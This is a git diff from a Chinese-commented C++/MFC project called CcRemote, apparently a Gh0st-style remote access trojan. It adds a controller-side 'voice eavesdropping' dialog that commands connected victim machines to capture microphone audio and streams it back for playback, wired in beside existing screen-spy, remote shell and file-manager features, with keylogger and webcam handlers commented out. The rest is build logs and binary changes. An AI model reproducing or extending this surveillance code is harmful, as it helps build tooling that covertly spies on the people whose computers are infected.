diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo
index cc729e1..c57b8c9 100644
Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ
diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.log b/CcMainDll/TestLoadDll/Debug/TestLoadDll.log
index 462cbac..9c7bbb8 100644
--- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.log
+++ b/CcMainDll/TestLoadDll/Debug/TestLoadDll.log
@@ -1,3 +1,3 @@
-C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
+G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
- TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
+ TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate b/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate
index bd1e4f2..03e57a1 100644
--- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate
+++ b/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate
@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
+Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo
index f7cab95..4aa1d74 100644
Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ
diff --git a/CcRemote/CcRemote/CAudioDlg.cpp b/CcRemote/CcRemote/CAudioDlg.cpp
new file mode 100644
index 0000000..6c77e25
--- /dev/null
+++ b/CcRemote/CcRemote/CAudioDlg.cpp
@@ -0,0 +1,123 @@
+// CAudioDlg.cpp: 实现文件
+//
+
+#include "pch.h"
+#include "CcRemote.h"
+#include "CAudioDlg.h"
+#include "afxdialogex.h"
+#include "..\..\common\macros.h"
+
+// CAudioDlg 对话框
+
+IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
+
+CAudioDlg::CAudioDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
+ : CDialog(IDD_AUDIO, pParent)
+{
+ m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_AUDIO)); //处理图标
+ m_iocpServer = pIOCPServer; //为类的成员变量赋值
+ m_pContext = pContext;
+ m_bIsWorking = true;
+
+ m_nTotalRecvBytes = 0;
+
+ sockaddr_in sockAddr;
+ memset(&sockAddr, 0, sizeof(sockAddr)); //得到服务端ip
+ int nSockAddrLen = sizeof(sockAddr);
+ BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
+
+ m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
+}
+
+CAudioDlg::~CAudioDlg()
+{
+}
+
+void CAudioDlg::DoDataExchange(CDataExchange* pDX)
+{
+ CDialog::DoDataExchange(pDX);
+ DDX_Check(pDX, IDC_SEND_LOCALAUDIO, m_bIsSendLocalAudio);
+}
+
+
+BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
+ ON_WM_CLOSE()
+END_MESSAGE_MAP()
+
+
+// CAudioDlg 消息处理程序
+
+
+BOOL CAudioDlg::OnInitDialog()
+{
+ CDialog::OnInitDialog();
+
+ // TODO: 在此添加额外的初始化
+ SetIcon(m_hIcon, TRUE); // Set big icon
+ SetIcon(m_hIcon, FALSE); // Set small icon
+
+ CString str;
+ str.Format("\\\\%s - 语音监听", m_IPAddress);
+ SetWindowText(str);
+
+ // 通知远程控制端对话框已经打开
+ BYTE bToken = COMMAND_NEXT;
+ m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
+
+ m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
+ return TRUE; // return TRUE unless you set the focus to a control
+ // 异常: OCX 属性页应返回 FALSE
+}
+
+
+DWORD CAudioDlg::WorkThread(LPVOID lparam)
+{
+ CAudioDlg *pThis = (CAudioDlg *)lparam;
+
+ while (pThis->m_bIsWorking)
+ {
+ if (!pThis->m_bIsSendLocalAudio)
+ {
+ Sleep(1000);
+ continue;
+ }
+ DWORD dwBytes = 0;
+ LPBYTE lpBuffer = pThis->m_Audio.getRecordBuffer(&dwBytes);
+ if (lpBuffer != NULL && dwBytes > 0)
+ pThis->m_iocpServer->Send(pThis->m_pContext, lpBuffer, dwBytes);
+ }
+ return 0;
+}
+
+
+void CAudioDlg::OnClose()
+{
+ // TODO: 在此添加消息处理程序代码和/或调用默认值
+ m_pContext->m_Dialog[0] = 0;
+
+ closesocket(m_pContext->m_Socket);
+
+ m_bIsWorking = false;
+ WaitForSingleObject(m_hWorkThread, INFINITE);
+ CDialog::OnClose();
+}
+
+
+void CAudioDlg::OnReceiveComplete(void)
+{
+ m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
+ CString str;
+ str.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
+ SetDlgItemText(IDC_TIPS, str);
+ switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
+ {
+ //这里也非常简洁,就是将服务端发送来的数据播放出来,我们看一下这个类还是CAudio,哈哈
+ //原来播放和录制是同一个类,我们转到这个函数
+ case TOKEN_AUDIO_DATA:
+ m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
+ break;
+ default:
+ // 传输发生异常数据
+ return;
+ }
+}
diff --git a/CcRemote/CcRemote/CAudioDlg.h b/CcRemote/CcRemote/CAudioDlg.h
new file mode 100644
index 0000000..a8f3ff5
--- /dev/null
+++ b/CcRemote/CcRemote/CAudioDlg.h
@@ -0,0 +1,42 @@
+#pragma once
+
+
+// CAudioDlg 对话框
+#include "include/IOCPServer.h"
+#include "..\..\common\Audio.h"
+class CAudioDlg : public CDialog
+{
+ DECLARE_DYNAMIC(CAudioDlg)
+
+public:
+ CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
+ virtual ~CAudioDlg();
+
+// 对话框数据
+#ifdef AFX_DESIGN_TIME
+ enum { IDD = IDD_AUDIO };
+#endif
+
+protected:
+ virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
+
+ DECLARE_MESSAGE_MAP()
+
+public:
+ bool m_bIsWorking;
+ CAudio m_Audio;
+private:
+
+ UINT m_nTotalRecvBytes;
+ HICON m_hIcon;
+ HANDLE m_hWorkThread;
+ ClientContext* m_pContext;
+ CIOCPServer* m_iocpServer;
+ CString m_IPAddress;
+public:
+ virtual BOOL OnInitDialog();
+ static DWORD WorkThread(LPVOID lparam);
+ BOOL m_bIsSendLocalAudio;
+ afx_msg void OnClose();
+ void OnReceiveComplete(void);
+};
diff --git a/CcRemote/CcRemote/CcRemote.rc b/CcRemote/CcRemote/CcRemote.rc
index 3b7f2cc..f5ce1ba 100644
Binary files a/CcRemote/CcRemote/CcRemote.rc and b/CcRemote/CcRemote/CcRemote.rc differ
diff --git a/CcRemote/CcRemote/CcRemote.vcxproj b/CcRemote/CcRemote/CcRemote.vcxproj
index 9f89f74..c1148a8 100644
--- a/CcRemote/CcRemote/CcRemote.vcxproj
+++ b/CcRemote/CcRemote/CcRemote.vcxproj
@@ -202,7 +202,9 @@
+
+
@@ -226,6 +228,10 @@
+
+ ..\CcMainDll\CcMainDll\pch.h
+
+
@@ -271,6 +277,7 @@
+
diff --git a/CcRemote/CcRemote/CcRemote.vcxproj.filters b/CcRemote/CcRemote/CcRemote.vcxproj.filters
index f5f9489..ca0cfb1 100644
--- a/CcRemote/CcRemote/CcRemote.vcxproj.filters
+++ b/CcRemote/CcRemote/CcRemote.vcxproj.filters
@@ -87,6 +87,12 @@
源文件
+
+ 头文件
+
+
+ 头文件
+
@@ -137,6 +143,12 @@
源文件
+
+ 源文件
+
+
+ 源文件
+
@@ -194,5 +206,8 @@
资源文件
+
+ 资源文件
+
\ No newline at end of file
diff --git a/CcRemote/CcRemote/CcRemoteDlg.cpp b/CcRemote/CcRemote/CcRemoteDlg.cpp
index 2ba3043..49b03fa 100644
--- a/CcRemote/CcRemote/CcRemoteDlg.cpp
+++ b/CcRemote/CcRemote/CcRemoteDlg.cpp
@@ -85,7 +85,9 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
+ ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
+
//-------------系统-------------
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
@@ -508,14 +510,17 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
void CCcRemoteDlg::OnOnlineAudio()
{
// TODO: 在此添加命令处理程序代码
- MessageBox("声音");
+ // MessageBox("声音");
+ BYTE bToken = COMMAND_AUDIO; //向服务端发送命令
+ SendSelectCommand(&bToken, sizeof(BYTE));
+
}
void CCcRemoteDlg::OnOnlineCmd()
{
// TODO: 在此添加命令处理程序代码
- MessageBox("CMD");
+ // MessageBox("CMD");
BYTE bToken = COMMAND_SHELL;
SendSelectCommand(&bToken,sizeof(BYTE));
}
@@ -791,9 +796,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
//case WEBCAM_DLG:
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
// break;
- //case AUDIO_DLG:
- // ((CAudioDlg *)dlg)->OnReceiveComplete();
- // break;
+ case AUDIO_DLG:
+ ((CAudioDlg *)dlg)->OnReceiveComplete();
+ break;
//case KEYBOARD_DLG:
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
// break;
@@ -844,12 +849,12 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
- case TOKEN_AUDIO_START: // 语音
- g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
- break;
case TOKEN_KEYBOARD_START:
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/
+ case TOKEN_AUDIO_START: // 语音
+ g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
+ break;
case TOKEN_DRIVE_LIST: // 驱动器列表
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
@@ -1063,6 +1068,20 @@ LRESULT CCcRemoteDlg::OnOpenManagerDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
+//音频管理窗口
+LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
+{
+ ClientContext *pContext = (ClientContext *)lParam;
+ CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
+ // 设置父窗口为卓面
+ dlg->Create(IDD_AUDIO, GetDesktopWindow());
+ dlg->ShowWindow(SW_SHOW);
+ pContext->m_Dialog[0] = AUDIO_DLG;
+ pContext->m_Dialog[1] = (int)dlg;
+ return 0;
+}
+
+
//绘制背景图片
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
{
diff --git a/CcRemote/CcRemote/CcRemoteDlg.h b/CcRemote/CcRemote/CcRemoteDlg.h
index 1c1d74a..aedc349 100644
--- a/CcRemote/CcRemote/CcRemoteDlg.h
+++ b/CcRemote/CcRemote/CcRemoteDlg.h
@@ -9,6 +9,7 @@
#include "CSystemDlg.h"
#include "CScreenSpyDlg.h"
#include "CFileManagerDlg.h"
+#include "CAudioDlg.h"
#pragma once
@@ -48,7 +49,7 @@ public:
private:
//--------------变量及常量----------------
- SEU_QQwry *m_QQwry;
+ SEU_QQwry *m_QQwry; //识别IP区域
int m_OnlineCount;//上线计数
CBrush m_brush;//绘色函数
CMenu popup;//LIST菜单变量
@@ -103,6 +104,7 @@ public:
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
+ afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
diff --git a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
index 671f96f..3a73b20 100644
--- a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
+++ b/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
@@ -1,16 +1,35 @@
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
-f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
-f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
-f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
+g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
+g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
+g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
+g:\ccremote\ccremote\bin\ccremote.ilk
+g:\ccremote\ccremote\bin\ccremote.exe
+g:\ccremote\ccremote\bin\ccremote.pdb
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
+g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
diff --git a/CcRemote/CcRemote/Debug/CcRemote.log b/CcRemote/CcRemote/Debug/CcRemote.log
index 1de6781..efd54ad 100644
--- a/CcRemote/CcRemote/Debug/CcRemote.log
+++ b/CcRemote/CcRemote/Debug/CcRemote.log
@@ -1,2 +1,5 @@
-C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
- CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
+G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
+ CAudioDlg.cpp
+g:\ccremote\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+ g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
+ CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
diff --git a/CcRemote/CcRemote/Debug/CcRemote.res b/CcRemote/CcRemote/Debug/CcRemote.res
index 1688125..1323e49 100644
Binary files a/CcRemote/CcRemote/Debug/CcRemote.res and b/CcRemote/CcRemote/Debug/CcRemote.res differ
diff --git a/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate b/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate
index c0e4c06..4f8bf97 100644
--- a/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate
+++ b/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate
@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Debug|Win32|F:\myapp\CcRemote\CcRemote\|
+Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|
diff --git a/CcRemote/CcRemote/Debug/cfilemanagerdlg.obj.enc b/CcRemote/CcRemote/Debug/cfilemanagerdlg.obj.enc
deleted file mode 100644
index 8c57a5f..0000000
Binary files a/CcRemote/CcRemote/Debug/cfilemanagerdlg.obj.enc and /dev/null differ
diff --git a/CcRemote/CcRemote/RCa16756 b/CcRemote/CcRemote/RCa16756
new file mode 100644
index 0000000..da191d4
Binary files /dev/null and b/CcRemote/CcRemote/RCa16756 differ
diff --git a/CcRemote/CcRemote/RDa16756 b/CcRemote/CcRemote/RDa16756
new file mode 100644
index 0000000..cd312ec
Binary files /dev/null and b/CcRemote/CcRemote/RDa16756 differ
diff --git a/CcRemote/CcRemote/pch.h b/CcRemote/CcRemote/pch.h
index 03094a0..a2bd971 100644
--- a/CcRemote/CcRemote/pch.h
+++ b/CcRemote/CcRemote/pch.h
@@ -17,6 +17,7 @@
#include
#include
#include
+#include
#endif //PCH_H
diff --git a/CcRemote/CcRemote/res/audio.ico b/CcRemote/CcRemote/res/audio.ico
new file mode 100644
index 0000000..27153fe
Binary files /dev/null and b/CcRemote/CcRemote/res/audio.ico differ
diff --git a/CcRemote/CcRemote/resource.h b/CcRemote/CcRemote/resource.h
index c38367b..7f246d2 100644
Binary files a/CcRemote/CcRemote/resource.h and b/CcRemote/CcRemote/resource.h differ
diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe
index faf6989..2c8feaa 100644
Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ
diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll
index 956046f..77f73b2 100644
Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ
diff --git a/bin/server/TestLoadDll.exe b/bin/server/TestLoadDll.exe
index 66a29be..89b4c95 100644
Binary files a/bin/server/TestLoadDll.exe and b/bin/server/TestLoadDll.exe differ